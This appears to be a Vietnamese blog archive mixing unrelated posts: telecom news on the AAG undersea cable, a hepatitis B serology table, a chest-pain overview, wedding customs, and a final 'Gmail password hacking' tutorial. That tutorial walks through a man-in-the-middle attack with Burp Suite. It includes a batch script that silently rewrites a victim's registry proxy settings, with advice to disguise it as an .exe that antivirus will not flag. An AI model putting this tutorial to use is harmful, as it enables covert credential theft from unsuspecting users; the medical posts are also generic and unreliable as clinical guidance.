Thứ Năm, 25 tháng 11, 2010

SPT bắt đầu khai thác tuyến cáp quang biển AAG: Bước ngoặt mới
  E-mail        Bản để in        Cỡ chữ       Chia sẻ:         
▪  HẢI VY
29/01/2010 05:59 (GMT+7)

Sơ đồ đường cáp quang AAG - Ảnh: AAG Consorrtium.
Với sự kiện này, SPT đã có thể cung cấp ra thị trường nhiều dịch vụ viễn thông chất lượng cao
Ngày 15/1 vừa qua, Trung tâm Truyền dẫn đường dài trong nước và  quốc tế - Công ty Cổ phần Dịch vụ Bưu chính Viễn thông Sài Gòn (SPT) đã chính thức đưa tuyến cáp quang biển AAG (Asia America Gateway) vào khai thác.

Với sự kiện này, SPT đã có thể cung cấp ra thị trường nhiều dịch vụ viễn thông là IRU (Indefeasible Right of Use), MIU (Minimum Investment Unit), Thuê kênh riêng quốc tế  (IPLC), Thuê kênh riêng liên tỉnh, Thuê kênh riêng Internet, Mạng riêng ảo (VPN)... với chất lượng cao và các gói cước hấp dẫn.

AAG là hệ thống cáp quang biển có chiều dài 20.000 km, dung lượng thiết kế  đạt đến 2 Terabit/giây, kết nối trực tiếp khu vực  Đông Nam Á với Mỹ. AAG đi qua Malaysia, Singapore, Thái Land, Việt Nam (điểm cập bờ tại thành phố Vũng Tàu), Brunei, Hồng Kông, Philippines và Mỹ (Guam, Hawaii và California).

AAG là tuyến cáp quang đầu tiên và duy nhất đến thời điểm hiện tại kết nối trực tiếp lưu lượng từ khu vực Đông Nam Á đến Mỹ. Với dung lượng băng thông quốc tế lớn, việc khai thác AAG cũng đã nâng tổng dung lượng đường truyền quốc tế của Việt Nam lên gấp 6 lần so với năm 2009, đáp ứng kịp thời cho nhu cầu băng thông phát triển bùng nổ mạnh mẽ tại Việt Nam hiện nay.

Tuyến cáp quang biển AAG dự  kiến sẽ đem lại những lợi ích rất cụ thể đối với các thành viên tham gia. AAG vào hoạt động sẽ đáp ứng được nhu cầu sử dụng băng thông rộng ngày càng tăng của Việt Nam, đặc biệt là các dịch vụ ứng dụng băng rộng như video, truyền dữ liệu và các dịch vụ đa phương tiện khác. Dung lượng của tuyến cáp có thể hỗ trợ cùng lúc 130.000 đường truyền tín hiệu truyền hình độ phân giải cao (HDTV).

Từ trước tới nay, các tuyến cáp quang biển được xây dựng kết nối Đông Nam Á sang Mỹ đều phải đi qua các quốc gia khác như Nhật Bản, Trung Quốc, Đài Loan... Trong năm 2007, tuyến đường dài mang nhiều rủi ro này đã gặp sự cố động đất tại Đài Loan khiến mạng Internet của khu vực châu Á bị trục trặc và phải mất khá nhiều thời gian mới có thể khắc phục.

Bởi vậy, AAG hiện đang đóng vai trò như một trong những tuyến cáp chính và  quan trọng nhất của Việt Nam và khu vực Đông Nam Á đi quốc tế. Việc đưa vào vận hành tuyến cáp sẽ làm giảm đáng kể nguy cơ bị  cô lập với thế giới bên ngoài khi có sự  cố trên các tuyến cáp quang biển khác hiện tại, như SMW3, IACS.

Trước đó, vào tháng 4/2007, tại Malaysia, ba doanh nghiệp viễn thông của Việt Nam là  SPT, VNPT và Viettel và đã cùng với 15 công ty viễn thông quốc tế và khu vực tham gia ký kết thoả  thuận xây dựng và bảo dưỡng hệ thống cáp quang biển AAG, có tổng dự toán lên tới 560 triệu USD.

Đến ngày 10/11/2009, sau khi hoàn thành đo thử toàn tuyến, Hiệp hội Các thành viên hệ thống cáp quang biển quốc tế AAG đã chính thức đưa tuyến cáp vào khai thác.

Trong kế hoạch phát triển hạ tầng, nâng cao năng lực cung cấp truyền dẫn đường dài trong nước và quốc tế của mình, Trung tâm Truyền dẫn SPT đã cam kết đáp ứng ngày càng tốt hơn nhu cầu của khách hàng, với lưu lượng băng thông quốc tế lớn, ổn định lại vừa được tăng cường bởi tuyến cáp AAG, sẽ đảm bảo chất lượng dịch vụ và chăm sóc khách hàng luôn ở mức cao nhất.

Bên cạnh đó, Trung tâm Truyền dẫn SPT cũng đã đưa trang web www.stn.com.vn của Trung tâm vào hoạt động như là một kênh thông tin chính thức nhằm cung cấp đầy đủ nhất, kịp thời những thông tin đáp ứng theo yêu cầu của khách hàng.

Với lợi thế cơ sở  mạng lưới hạ tầng vững chắc sẵn có cùng nhiều gói dịch vụ đa dạng, phù hợp, Trung tâm Truyền dẫn SPT đã chia sẻ lợi ích kinh tế này với khách hàng bằng những chính sách ưu đãi đặc biệt. Điều này đã mang lại nhiều cơ hội cho khách hàng được sử dụng những dịch vụ có chất lượng cao nhất cùng giá cả hợp lý nhất.

Thứ Tư, 10 tháng 11, 2010

DIỄN GIẢI KẾT QUẢ XÉT NGHIỆM VIÊM GAN SIÊU VI B


DIỄN GIẢI KẾT QUẢ XÉT NGHIỆM VIÊM GAN SIÊU VI B

HBV : virus viêm gan B
HBsAg : kháng nguyên bề mặt viêm gan B
HBeAg : kháng nguyên e viêm gan B
Anti-HBc : kháng thể của kháng nguyên nhân viêm gan B
Anti-HBe : kháng thể của kháng nguyên e viêm gan B
Anti-HBs : kháng thể của kháng nguyên bề mặt viêm gan B


• Kháng nguyên : là yếu tố xâm nhập gây bệnh ( nhân, vỏ, lông …của virus gây bệnh ).
• Kháng thể : là yếu tố kháng bệnh mà cơ thể sinh ra nhằm chống lại tác nhân gây bệnh
• Âm tính : không có = O
• Dương tính : Có = X


Kết quả xét nghiệm





* Trường hợp 1 :
HBsAg : O
HBeAg : O
Anti-HBc : O
Anti-HBe : O
Anti-HBs : O
---> Cho thấy khả năng dễ nhiễm viêm gan B. Bệnh nhân chưa từng nhiễm viêm gan B




* Trường hợp 2 :
HBsAg : O
HBeAg : O
Anti-HBc : O
Anti-HBe : O
Anti-HBs : X
---> Có thể cho thấy tiền sử nhiễm với việc biến mất chọn lọc Anti-HBc và Anti-HBe hoặc do chủng ngừa, chủng ngừa thụ động tạm thời bằng HBIG hoặc chủng ngừa chủ động lâu dài bằng vaccin viêm gan B.Không lây nhiễm.
* Trường hợp 3 :
HBsAg : X
HBeAg : O
Anti-HBc : O
Anti-HBe : O
Anti-HBs : O
---> Giai đoạn sau của thời kỳ ủ bệnh hoặc giai đoạn rất sớm của nhiễm cấp. Nguy cơ lây nhiễm.


* Trường hợp 4 :
HBsAg : X
HBeAg : X
Anti-HBc : O
Anti-HBe : O
Anti-HBs : O
---> Giai đoạn đầu của nhiễm cấp. Nguy cơ lây nhiễm.


* Trường hợp 5 :
HBsAg : O
HBeAg : O
Anti-HBc : X
Anti-HBe : O
Anti-HBs : X
---> Trường hợp này cho thấy tiền sử nhiễm HBV nhưng Anti-HBe không tồn tại dai dẳng hay không thể phát hiện. Miễn dịch đối với các trường hợp nhiễm thứ phát. Không lây nhiễm.


*Trường hợp 6 :
HBsAg : O
HBeAg : O
Anti-HBc : X
Anti-HBe : X
Anti-HBs : X
---> Cho thấy tiền sử nhiễm HBV. Miễn dịch đối với các trường hợp nhiễm thứ phát. Không lây nhiễm.


Trường hợp 7
:
HBsAg : X
HBeAg : X
Anti-HBc : X
Anti-HBe : O
Anti-HBs : O
---> Nhiễm cấp hoặc mạn. Nguy cơ lây nhiễm cao.


* Trường hợp 8 :
HBsAg : X
HBeAg : O
Anti-HBc : X
Anti-HBe : O
Anti-HBs : O
---> Nhiễm cấp hoặc mạn ; Thời kỳ sau khi HBeAg biến mất nhưng chưa phát hiện được Anti-HBe. Chỉ định theo dõi huyết thanh học. Nguy cơ lây nhiễm.


* Trường hợp 9 :
HBsAg : X
HBeAg : X
Anti-HBc : X
Anti-HBe : X
Anti-HBs : O
---> Giai đoạn từ giữa đến cuối của nhiễm cấp hoặc tình trạng người mang mầm bệnh mạn tính. Thời kỳ chuyển đổi huyết thanh từ HBeAg sang Anti-HBe. Chỉ định theo dõi huyết thanh học. Nguy cơ lây nhiễm.


* Trường hợp 10 :
HBsAg : X
HBeAg : O
Anti-HBc : X
Anti-HBe : X
Anti-HBs : O
---> Giai đoạn từ giữa đến cuối của nhiễm cấp hoặc tình trạng người mang mầm bệnh mạn tính. Chỉ định theo dõi huyết thanh học. Nguy cơ lây nhiễm.


* Trường hợp 11 :
HBsAg : O
HBeAg : O
Anti-HBc : X
Anti-HBe : O
Anti-HBs : O
---> Trường hợp này thường biểu hiện tình trạng nhiễmtrước đây với việc mất chọn lọc Anti-HBs. Tình trạng này cũng có thể biểu hiện cho giai đoạn của sổ của một đợt nhiễm cấp; nhiễm mạn tính với HBsAg thấp hơn giới hạn có thể phát hiện; hoặc kết quà thử nghiệm có sai sót. Nguy cơ lây nhiễm thấp.


* Trường hợp 12 :
HBsAg : O
HBeAg : O
Anti-HBc : X
Anti-HBe : X
Anti-HBs : O
---> Trường hợp này có thể biểu hiện cho tình trạng nhiễm mà chưa thể phát hiện Anti-HBs; tình trạng nhiễm trước đây không tồn tại dai dẳng Anti-HBS; hoặc hiếm hơn tình trạng nhiễm hiện tại với HBsAg thấp hơn giới hạn có thể phát hiện. Nguy cơ lây nhiễm thấp.


* Trường hợp 13 :
HBsAg : O
HBeAg : X
Anti-HBc : O
Anti-HBe : O
Anti-HBs : O
---> Một trường hợp hiếm gặp phần lớn là do kết quả thử nghiệm sai sót. Chỉ định làm lại thử nghiệm.



* Trường hợp 14 :
HBsAg : O
HBeAg : O
Anti-HBc : O
Anti-HBe : X
Anti-HBs : O
---> Có thể là sai sót của kết quả thử nghiệm. Nếu Anti-HBe dương tính thật sự, rồi tới Anti-HBc và có thể Anti-HBs cũng dương tính. Chỉ địng làm lại thử nghiệm.



* Trường hợp 15 :
HBsAg : X
HBeAg : O
Anti-HBc : X
Anti-HBe : X
Anti-HBs : X
---> Một tình trạng đôi khi gặp phải, cho thấy việc lưu hành các phức hợp miễn dịch của HBsAg với tỉ lệ như nhau nên cả hai có thể được phát hiện; HBsAg và Anti-HBs với các kiểu phụ khác
nhau; hoặc kết quả thử nghiệm Anti-HBs có sai sót. Nguy cơ lây nhiễm.

Thứ Ba, 9 tháng 11, 2010

Chứng đau ngực
Đau ngực là một cảm giác khó chịu ở vùng ngực xảy ra do các nguyên nhân tại thành ngực hay các phủ tạng bên trong nó gây ra. Chứng đau ngực thường gặp tại các phòng khám đa khoa và cũng là nguyên nhân khiến bệnh nhân phải tìm đến thầy thuốc do tính nguy hiểm của cơn đau ở khu vực này.

Dựa vào các tính chất và đặc điểm của đau ngực như vị trí, điều kiện xuất hiện, cường độ, thời gian, hướng lan mà chúng ta có thể dự đoán được tương đối chính xác về nguyên nhân gây ra đau ngực.
Về cấu tạo giải phẫu của ngực bao gồm lồng ngực (có da, cơ, xương và thần kinh) và các tạng trong nó (tim, phổi và các cuống mạch). Do vậy, đại đa số đau ngực đều có nguồn gốc từ những bộ phận này.
Các loại đau ngực có nguồn gốc từ thành ngực:
1. Từ các tổ chức phần mềm:
  • Viêm da, cơ: ngoài các triệu chứng sưng đau tại chỗ, bệnh nhân còn có sốt cao, thể trạng nhiễm trùng nhiễm độc.
  • Do chấn thương đụng dập cơ: có dấu hiệu tại chỗ chủ yếu như thâm tím  hoặc sây sát.
  • Zôna ngực: Da ngực vùng tổn thương nóng, đỏ, rát, trên bề mặt có nhiều mụn phỏng nước. Mụn Zôna thường bám dọc theo các xương sườn. Đau thường rất nhiều và tăng lên khi thở sâu hay đụng chạm vào vùng bệnh.
  • Đau ngực trong viêm tuyến vú, tắc tuyến sữa ở những người đang cho con bú, ung thư tuyến vú. Do vậy, phụ nữ ở độ tuổi trên dưới 40 phải thường xuyên kiểm tra tuyến vú của mình, nếu có u cục phải lập tức đến bác sĩ để có chẩn đoán và xử trí kịp thời.
2. Từ các dây thần kinh liên sườn:
Viêm dây thần kinh liên sườn: đau vừa phải, đau tăng lên khi hít vào sâu, đặc biệt khi ấn dọc theo các kẽ liên sườn. Da tại vùng đau gần như không có biến đổi gì đặc biệt.
3. Từ xương ức, sườn, khớp sụn sườn, cột sống ngực:
  • Các tổn thương do viêm hay thoái hóa: viêm khớp ức sườn, thoái hóa cột sống ngực, đặc biệt là lao cột sống, ung thư đốt sống. Trong trường hợp do lao cột sống, đau không nhiều nhưng dai dẳng, đau thành khoanh quanh lồng ngực vùng tổn thương. Lao cột sống có thể nguyên phát, nhưng cũng có thể hậu phát sau lao phổi, ngoài triệu chứng đau tại chỗ như đã nêu, bệnh nhân thường có sốt về chiều, kém ăn, người gầy sút, có thể ho ra máu.
  • Do chấn thương: bệnh nhân có biểu hiện đau tại chỗ vết xây xát, thâm tím, đặc biệt khi nắn vào vùng đau sẽ có dấu hiệu điểm đau chói. Do vậy để tránh khỏi bỏ sót gãy xương kín đáo, người sau ngã hoặc chấn thương vùng ngực phải được chụp X- quang lồng ngực.
Các loại đau có nguồn gốc từ phổi:
1. Viêm màng phổi khô hoặc có tràn dịch màng phổi:
Biểu hiện ban đầu thường chỉ đau khu trú ở một vùng nhỏ của ngực, đau tăng lên khi hít vào. Khi xuất hiện tràn dịch màng phổi lượng dịch ít thường bệnh nhân đau khi nằm nghiêng về phía tràn dịch và nếu lượng dịch nhiều sẽ có biểu hiện ngược lại.
2. Ung thư màng phổi:
Cần phải chụp X- quang, chụp cắt lớp vi tính phổi.
3. Tràn khí màng phổi:
Đau ngực đột ngột, dữ dội như dao đâm, khó thở thường xảy ra đột ngột sau một gắng sức ở người trẻ tuổi không có tiền sử bệnh. Tuy nhiên hay gặp trên những người có tiền sử hen phế quản, giãn phế nang, đau ngực và khó thở có thể đến đột ngột hoặc từ từ. Tiên lượng thường xấu hơn.
4. Tràn máu màng phổi sau chấn thương.
5. Dày dính màng phổi.
Các nguyên nhân có nguồn gốc từ phổi:
  • Viêm phổi: Bệnh nhân sốt cao, đau ngực bên tổn thương, khó thở, ho khạc đờm màu rỉ sắt. Nếu không được điều trị có thể dẫn đến biến chứng áp xe phổi.
  • Viêm phế quản tắc nghẽn mạn tính: Đau ngực ở đây thường do viêm nhiễm, đặc biệt hậu phát do tăng áp lực động mạch phổi.
  • Ung thư phế quản: Bệnh hay xảy ra cho những người lớn tuổi có tiền sử nghiện thuốc lá, thuốc lào, đột nhiên thấy đau ngực kèm theo ho ra máu và người gầy sút, biếng ăn, mệt mỏi. Có trường hợp đau ngực lan lên vai, lên cánh tay, kèm theo móng tay khum như mặt kính đồng hồ hoặc có dạng như dùi trống.
Đau ngực có nguồn gốc từ các cuống mạch của trung thất:
  • Bệnh tăng áp lực động mạch phổi.
  • Bệnh phình tách động mạch chủ: Đau ngực dữ dội, đau trong sâu, đau sau lưng và rất dễ nhầm với nhồi máu cơ tim.
  • Viêm hay u trung thất.
Đau ngực do nguyên nhân tim:
1. Viêm màng ngoài tim:
  • Viêm màng ngoài tim khô: Đau ngực vùng trước tim và tăng lên khi thở sâu, đặc biệt khi cúi người về phía trước.
  • Tràn dịch màng ngoài tim, ung thư màng tim.
2. Đau thắt ngực trong suy mạch vành mạn hoặc cấp:
Tùy từng loại mà cơn đau ngực ở đây có những nét đặc trưng khác nhau tuy rằng chúng có một đặc điểm chung là đau ở vùng trước tim, đau sau xương ức. Nhưng mức độ đau có thể không giống nhau, từ mức chỉ có cảm giác nặng ngực, đến nghẹt thở, vã mồ hôi kèm theo hốt hoảng, sợ hãi. Sự khác nhau quan trọng giữa các cơn thắt ngực là hoàn cảnh xuất hiện cơn đau, ví dụ:
Trong cơn đau thắt ngực gắng sức (hay còn gọi là cơn đau thắt ngực ổn định): đau thường xuất hiện sau các gắng về thể lực (như đi bộ nhanh, chạy lên cầu thang…) hoặc tâm lý (quá buồn, vui hay lo lắng…).
Trong cơn đau thắt ngực tự phát (Cơn Prinzmetal): đau xảy ra thường vào ban đêm hoặc vào các giờ gần sáng và không liên quan gì đến gắng sức. Để chẩn đoán được cơn này phải thực hiện ở cơ sở chuyên khoa.
Trong cơn đau thắt ngực không ổn định: đau thường xuất hiện ngay chỉ với gắng sức rất nhẹ, cơn hay xảy ra vào ban đêm, thời gian cơn thường kéo dài > 30 phút, do tổn thương mạch vành trong trường hợp này nặng hơn trong cơn đau thắt ngực gắng sức.
Trong nhồi máu cơ tim cấp: đau ngực dữ dội, đau như dao đâm hay đau như quả tim bị kẹp, bị bóp,… đau vùng trước tim lan lên cằm, hàm dưới, lan lên vai trái, lan dọc theo cánh tay đến tận các ngón tay. Khác với các cơn đau trong đau thắt ngực thời gian đau chỉ vài phút (từ 2 – 3 phút), trong nhồi máu cơ tim thời gian đau thường kéo dài hàng giờ có khi hàng ngày hoặc hơn. Kèm theo đau bệnh nhân có cảm giác hốt hoảng, sợ chết.
Các nguyên nhân gây đau ngực có nguồn gốc ngoài lồng ngực:
  • Đau ngực do viêm loét thực quản: Đau sau xương ức, có cảm giác nóng rát như xát chanh. Bệnh nhân có thể có kèm theo hay ợ hơi, ợ chua.
  • Đau ngực do viêm loét dạ dày hành tá tràng: Đau lan từ vùng thượng vị, lên ngực. Khi kiểm tra kỹ sẽ thấy vùng thượng vị là vùng đau trội hơn cả. Ở những bệnh nhân này thường có tiền sử đau nhiều lần, thời gian đau hàng giờ, có liên quan chặt chẽ với bữa ăn và thời tiết (mùa đông).
Những nghi thức khi rước dâu


Thắp hương giường thờ: Họ nhà gái mời nhà trai vào nhà. Nhà trai cho đặt đồ lễ lên giường thờ (ngày xưa người ta thờ trên giường chớ không phải trên bàn hay trên tủ như bây giờ). Và ngày nay khi đàng trai được mời vào nhà, các chú rể phụ hay những người bưng phụ đồ lễ vật đứng dàn hàng ngang trước mặt các cô dâu phụ hay các thiếu nữ bên nhà gái, cũng đứng hàng ngang đối diện để trao những mâm hay quả tráp lễ vật.
Các cô này đem lễ vật vào đặt trên bàn có thứ tự trước bàn thờ gia tiên. Lúc này nhà gái kiểm điểm lại đồ thách cưới, tuy một phần đã được nhà trai đưa qua từ những hôm trước để tiện nhà gái làm cỗ đãi cho họ hàng (ngày nay lễ vật không đưa sang nhà gái trước nhưng nhà trai khi trình lễ vật, phải nói mấy lời cùng nhà gái lễ vật gồm những thứ gì).
Chính người chủ hôn nhà trai giở nắp quả tráp hay khăn đỏ phủ lễ vật ngay sau lời mở đầu buổi lễ xin phép, nhà gái cho thắp hương để chú rể và cô dâu cùng lễ gia tiên.
Không phải ai cũng có thể thắp nén hương trong trong ngày lễ cưới được. Hương phải do bố, anh trai hoặc em trai cô dâu thắp. Nếu là anh trai hoặc em trai cô dâu thắp hương, nhà trai lại phải tặng một món tiền gọi là tiền thắp hương.
Tất cả nhưng sự khó khăn nhà trai phải vượt qua từ lúc chăng dây cho đến khi hương được thắp trên giường thờ, tục lệ đặt ra để chứng tỏ nhà trai không nề hà trong sự khó khăn để đón dâu, và cũng chứng tỏ sự thiết tha yêu thương vợ của chú rể.
Lễ gia tiên và lễ mừng: Chú rể vào lễ bàn thờ gia tiên nhà vợ bốn lễ rưỡi, sau đó cô dâu cũng lễ theo. Ngày nay, cô dâu và chú rể cùng làm lễ một lược, theo thể thức chú rể “bái gối” và cô dâu ngồi vẹt, tuy vậy mỗi lần chú rể bái, cô dâu chờ động tác cho nhịp nhàng. Lễ gia tiên xong, cô dâu và chú rể phải ra lễ mừng bố mẹ vợ. Ngày nay cô dâu và chú rể lạy bố mẹ ngay liền trước bàn thờ gia tiên, thường được cha mẹ cho hỉ xả, nghĩa là cho miễn thủ tục này để tỏ lòng yêu thương, rộng lượng. Chàng rể lễ mừng bố mẹ vợ để tạ công ơn nuôi dưỡng vợ mình, còn cô dâu lễ mừng cũng có ý nghĩa tạ ơn cha mẹ tác thành lương duyên giai ngẫu cho mình. Khi chàng rể mừng lễ, bố mẹ vợ thường cho tiền hay vàng bạc. Các người phù rể sẽ nhận hộ chú rể. Có nhiều người có tính khoe khoang thường nhân dịp này cho chú rể nhà cửa, ruộng nương bằng cách trao cho văn tự hay địa đồ.
Ngày nay, sự việc có thay đổi. Trong lễ này bố mẹ vợ không cho tiền. Nếu cho tiền thì cho cô dâu ngay đêm trước ngày vu quy. Tại buổi lễ có thể người cha vợ quyết định cho lại vợ chồng một số tiền đồng hay là tiền chợ mà đàng trai trao cho nhà gái khi trình lễ vật. Bà mẹ cũng nhân dịp này trao cho con gái mình một vài món nữ trang, ngoài tính cách khoe khoang còn ngụ ý rằng “đây là của riêng con gái do bà mẹ tằn tiện để dành cho, chỉ được sử dụng khi nguy cấp để bảo hộ thân”.
Lễ mừng cha mẹ xong, chàng rể được người trong họ nhà vợ dẫn đi lễ mấy nhà thờ chính của họ nhà vợ, có mấy chàng phù rể đi theo. Cũng có nơi, chàng rể phải đi lễ nhà thờ trước rồi lúc trở về mới làm lễ mừng bố mẹ vợ. Sau khi chàng rể làm lễ đủ mọi nghi thức xong rồi, nhà gái mới mời nhà trai uống nước ăn trầu và hai họ chúc tụng cô dâu chú rể. Thường nhà gái làm cỗ mời nhà trai. Trong bữa cỗ này, chú rể vì giữ lễ hoặc vì sung sướng quá nên ăn uống rất e dè từ tốn, có khi không dám ăn vì sợ họ nhà vợ chê cười. Ngày nay, ở miền Nam, theo khuôn phép gia đình nề nếp, chú rể và cô dâu không ngồi vào bàn trong các tiệc đãi mà phải đưa nhau đi từng bàn mời khách đôi bên mà cũng là dịp để nhận biết rõ những người thân thuộc. Họ nhà trai ngồi lại họ nhà gái cho đến lúc được giờ tốt, giờ hoàng đạo, cụ già chủ hôn xin với nhà gái cho rước dâu. Cô dâu lúc này đã y phục chỉnh tề, trang điểm với mọi nữ trang của mình cùng với những đồ dẫn cưới trước, đựng trong chiếc rương phủ nhiễu điều.
Họ nhà gái có một số người đi theo cô dâu, trong đó có các cô phú dâu. Các cô phù dâu đã được tuyển lựa trong số các thiếu nữ chưa lập gia đình cũng như các phù rể đều là các chàng trai chưa vợ. Đây cũng có ý nghĩa là dịp người ta “giới thiệu” những trai gái có thể tiếp nối kết duyên, vì vậy cũng thường có các cuộc hôn phối tiếp sau đó của những trai gái này.

Thứ Bảy, 30 tháng 10, 2010

Kỹ thuật hack password Gmail

Trong bài viết này tôi sẽ trình bày với các bạn kỹ thuật Hack Password của Gmail hay các trang web khác xác thực một cách tương tự (SSL – Certificate – HTTPS). Đối với nguy cơ bạn có thể bị lộ Password Gmail, trong bài viết này tôi sẽ trình bày cách nhận biết và ngăn chặn nguy cơ này.

I. Hiu biết chung
Gmail hay những dịch vụ web khác thường sử dụng HTTPS để mã hóa gói tin User/Pass. Khi trình duyệt web sử dụng Certificate của Gmail cung cấp và mã hóa thì gói tin User/Pass khi đi trên mạng sẽ an toàn ở mức độ (gần như tuyệt đối).
Kẽ hở ở đây là thế nào mà lại có thể Hack được pass của những phương thức xác thực và mã hóa có tính bảo mật cao.

Quá trình xác thực bình thường khi người dùng truy cập Gmail:

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 611x240

Bước 1: Người dùng truy cập gmail.com
Bước 2: Gmail sẽ gửi thông tin tới Versign để lấy Certificate
Bước 3: Versign gửi lại cho Gmail Certificate bao gồm: Public Key và Private key
Bước 4: Gmail gửi lại cho người dùng Public Key để mã hóa thông tin xác thực
Bước 5: Người dùng sử dụng Public Key mã hóa gửi lên Gmail
Bước 6: Gmail sử dụng Private key để giải mã

*note: gói tin mã hóa user/pass người dùng gửi lên gmail được mã hóa bằng public key thì chỉ có private key mới giải mã dc. Trong khi đó Private key được Gmail dữ lại và không truyền trên mạng. Nên gói tin này cực kỳ bảo mật và không có khả năng giải mã

Kỹ thuật giả mạo Certifcate
Người dùng vào Gmail sẽ không đi thẳng mà đi qua một Intercepting Proxy và bị giả mạo Certificate

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 618x304


Bước 1: Người dùng vào Gmail
Bước 2: Khi gói tin từ người dùng vào Intercept proxy nó sẽ chỉnh sửa thông tin và gửi lên Gmail
Bước 3: Gmail gửi yêu cầu lên Versign để sinh Certificate
Bước 4: Verisign gửi Certificate về cho Gmail. Gmail dữ lại Private key và gửi cho người yêu cầu Public key
Bước 5: Gmail gửi Public key cho Intercept Proxy, Key này sẽ không được gửi cho người dùng
Bước 6: Intercept Proxy tự ra một cặp key và gửi Public key về cho người dùng
Bước 7: Người dùng sử dụng Public Key giả này do Proxy sinh ra để mã hóa user/pass và gửi lên cho proxy. Proxy do tự sinh ra cặp key nên sẽ có Private key để giải mã.
Bước 8: Sau khi giải mã được gói tin người dùng truyền lên Proxy sẽ sử dụng Public Key của Gmail gửi cho rồi mã hóa à gửi lên gmail và quá trình xác thực vẫn dc thực hiện
*Note: Khi đó nếu kẻ tấn công đứng trên con Intercept Proxy thì hoàn toàn có thể biết được User/Pass của người dùng. Người dùng không chú ý khi đi qua một Intercept proxy thì user/pass hoàn toàn có thể bị lộ, mặc dù sử dụng các phương thức xác thực rất bảo mật


II. Tools sử dụng
Burpsuite_v1.3
Link download: http://www.portswigger.net/suite/burpsuite_v1.3.zip
Đây là một tools có tính năng là một Intercept Proxy
-Java (Burpsuite là file .jar chạy trên nền Java)
Link download: http://sun.com
- IE, Firefox
- Tools thiết lập Proxy bằng một file
Đây là tools tôi tự viết dạng file .bat hoặc các bạn có thể chuyển file.bat sang file.exe để khi người dùng kích vào file này sẽ tự động thiết lập Proxy
- Quick_Batch_File_Compiler_3.21 là một tools chuyển file.bat à file.exe

III. Kỹ thuật lấy Password Gmail
- Cách thông thường nhất là sử dụng Keylogger nhưng cách này không sử dụng được khi có các chương trình diệt virus mạnh.
- Export thông tin từ trình duyệt web như IE, Firefox. Cách này không thực hiện được khi người dùng không lưu User/Pass trên trình duyệt
- Còn một cách đó là giả mạo Certificate và sử dụng Intercept Proxy
a. Đặt proxy cho người dùng
- Để toàn bộ nội dung người dùng truy cập web đi qua Intercept Proxy thì cần phải thiết lập proxy trên trình duyệt của người dùng
- Cách thiết lập có thể bạn thiết lập bằng tay (bằng một cách nào đó có quyền điều khiển máy tính của nạn nhân)
- Hướng người dùng chạy một file.exe mà do chúng ta viết để thiết lập proxy
********
Tạo ra một file.bat với nội dung:
Code:
echo Windows Registry Editor Version 5.00 > 1
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings] >2
echo "MigrateProxy"=dword:00000001 > 3
echo "ProxyEnable"=dword:00000001 > 4
echo "ProxyHttp1.1"=dword:00000000 > 5
echo "ProxyServer"="IP:port" > 6
echo "ProxyOverride"="<local>" > 7
copy /b "1"+"2"+"3"+"4"+"5"+"6"+"7" b.reg
del 1 /f /q
del 2 /f /q
del 3 /f /q
del 4 /f /q
del 5 /f /q
del 6 /f /q
del 7 /f /q
regedit.exe /s b.reg
del b.reg /f /q
********

Sau đó dùng tools Quick_Batch_File_Compiler_3.21 chuyển file.bat này sang file.exe
- Khi người dùng nhấn vào file này sẽ tự động thiết lập proxy cho IE với IP bạn thay bằng IP bạn cần thiết lập, Port là port của Proxy sử dụng. Điều rất hay đó là file này tất cả các chương trình diệt virus đều không coi là Virus
- Trong bài viết này tôi sử dụng một máy tính nên proxy tôi thiết lập trên trình duyệt là 127.0.0.1
Tiến hành
Bước 1: Cài đặt Java
Bước 2: Chạy Burpsuite
Bước 3: Thiết lập Proxy
Bước 4: Truy cập Gmail
Bước 5: Vào Proxy xem thông tin User/Pass

Bước 1: Cài đặt Java:
- Sau khi bạn download bộ cài Java từ trang sun.com bạn cài đặt để chuẩn bị môi trường cho các chương trình chạy trên môi trường Java
Bước 2: Chạy Burpsuite:
- Sau khi download Burpsuite tiến hành giải nén khi đến file .jar thì dừng lại
Chạy chương trình Burpsuite_v1.3 để làm Intercepting Proxy. Nhấn đúp vào file .jar giải nén từ bộ download được


Chạy chương trình Burpsuite


Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 718x589


Mặc định chương trình này chỉ làm proxy cho chính máy chạy chương trình, để các máy khác có thể sử dụng chương trình này làm proxy phải à Vào tab proxy à chọn Options rồi có thể Edit tùy biến port sử dụng (mặc định là 8080) bỏ dấu check box “loopback only"

[IMG]http://img202.imageshack.us/img202/5520/57595257.jpg[/IMG]
Chuyển sang tab Intercept để cấu hình các mode hoạt động của Intercepting proxy
- Chế độ Intercept on: đây là chế độ hoạt động. Nếu một người đặt máy tính này làm proxy thì toàn bộ quá trình truy cập ra internet đều bị proxy này quản lý. Khi một request từ trình duyệt tới Proxy, nó sẽ phát hiện nội dung có thể chỉnh sửa và forward đi thì mới tới máy chủ web
Chúng ta tắt chế đô này bằng cách nhấn vào Intercept on sẽ thành off. Mục đích khi người dùng sử dụng phần mềm này làm proxy thì vẫn có thể vào Internet bình thường. Để chế độ này chỉ để lưu lại các thông tin người dùng truy cập web


Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 713x356


Bước 3: Đặt Proxy
- Vào IE chỉnh proxy vào địa chỉ 127.0.0.1 port 8080. IE à IE options à tab connection nhấn vào nút LAN Settings
- Hoặc chạy file.bat với nội dung như trên
Dùng tools chuyển file.bat à file.exe rồi chạy file.exe này cũng được


Bước 4: Vào Gmail qua IE (đã thiết lập Proxy)
Truy cập vào Gmail sẽ thấy thông báo Certificate lỗi nhấn continue để tiếp tục

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Tiếp tục google sẽ thông báo Certificate Error bạn vẫn gõ Username password để truy cập vào Mail

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Tôi vào được mail vẫn còn thông báo Certificate Error

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Bước 5: Vào Proxy tìm thông tin Username và Pass
- Vào Burpsuite à Chuyển sang tab “Target” à Chọn Site Map
